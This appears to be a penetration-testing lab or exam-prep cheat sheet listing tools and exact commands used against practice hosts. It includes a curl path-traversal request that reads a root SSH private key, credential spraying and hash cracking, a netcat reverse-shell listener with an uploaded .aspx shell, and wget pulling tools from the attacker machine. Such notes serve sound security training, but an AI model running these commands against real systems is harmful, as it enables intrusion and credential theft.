Tools Used
Standalones — Tools Used
Reconnaissance & Enumeration
| Tool | Usage |
|---|---|
nmap | Port scanning, service/version detection, OS fingerprinting. Standard flags: nmap -p- -T4 -sCV -Pn -sT --open -oN results.txt $IP |
whois | Queried internal OSCP.EXAM WHOIS server on port 43: whois -h $IP -p 43 oscp.exam — yielded usernames and email contacts |
whatweb | Web technology fingerprinting |
nikto | Web vulnerability scanning |
Web Enumeration
| Tool | Usage |
|---|---|
feroxbuster | Directory and file busting: feroxbuster -u $URL -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,json,zip,aspx -t 80 -d 3 |
ffuf | vhost fuzzing: ffuf -w subdomains-top1million-5000.txt -u http://$DOMAIN -H "Host:FUZZ.$DOMAIN" — key for discovering hidden vhosts (almondblossoms.ai → support vhost) |
Burp Suite | Intercepting and modifying multipart file upload requests to bypass client-side Content-Type filtering |
SMB / Windows Enumeration
| Tool | Usage |
|---|---|
nxc (NetExec) | SMB auth testing, share enumeration, spider_plus module for downloading share contents, RID brute forcing, WinRM testing, MSSQL auth, credential spraying |
smbclient | Manual SMB share access: smbclient //$IP/WebDev -U 'Guest'%'' — listing and downloading files |
impacket-mssqlclient | Connecting to MSSQL with domain credentials |
Service-Specific Clients
| Tool | Usage |
|---|---|
rsync | Listing (rsync $IP::) and downloading (rsync -avP $IP::module ./loot/) from unauthenticated rsync daemons |
telnet | Manual POP3 interaction: USER, PASS, LIST, RETR <n> commands |
mysql | Connecting to exposed MySQL: mysql -h $IP -u $USER -p --skip-ssl-verify-server-cert |
ftp | Anonymous FTP access: ftp $IP → anonymous login |
curl | Internal API requests for path traversal: curl http://127.0.0.1:8005/api/v1/artifacts/download?artifact=../../../../root/.ssh/id_rsa |
Credential Attacks
| Tool | Usage |
|---|---|
hydra | Dictionary attack against POP3: hydra -L users.txt -P users.txt pop3://$IP |
hashcat | Cracking bcrypt hashes: hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt |
john | Cracking bcrypt hashes: john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt |
nxc | Credential spraying over SMB: nxc smb $IP -u users.txt -p passwords.txt --continue-on-success -t 1 |
Exploitation
| Tool | Usage |
|---|---|
evil-winrm | Authenticated PowerShell sessions over WinRM: evil-winrm -i $IP -u $USER -p $PASS |
nc (netcat) | Reverse shell listener: nc -lvnp 443 — required for catching raw .aspx reverse shells |
Burp Suite | File upload Content-Type bypass to upload .aspx shell past client-side filter |
.aspx reverse shell | From borjmz/aspx-reverse-shell; used for IIS/ASP.NET RCE on the helpdesk portal box |
Post-Exploitation / PrivEsc (Linux)
| Tool | Usage |
|---|---|
linpeas.sh | Automated Linux PrivEsc enumeration — surfaced .mysql_history credentials and SUID binaries |
python3 -m http.server | Serving files from Kali: python3 -m http.server 4444 |
wget | Downloading tools to victim: wget http://$KALI:4444/linpeas.sh |
Wordlists
| Wordlist | Usage |
|---|---|
/usr/share/wordlists/rockyou.txt | Password cracking (hashcat/john) and credential spraying |
/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt | vhost fuzzing with ffuf |
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | Directory busting with feroxbuster |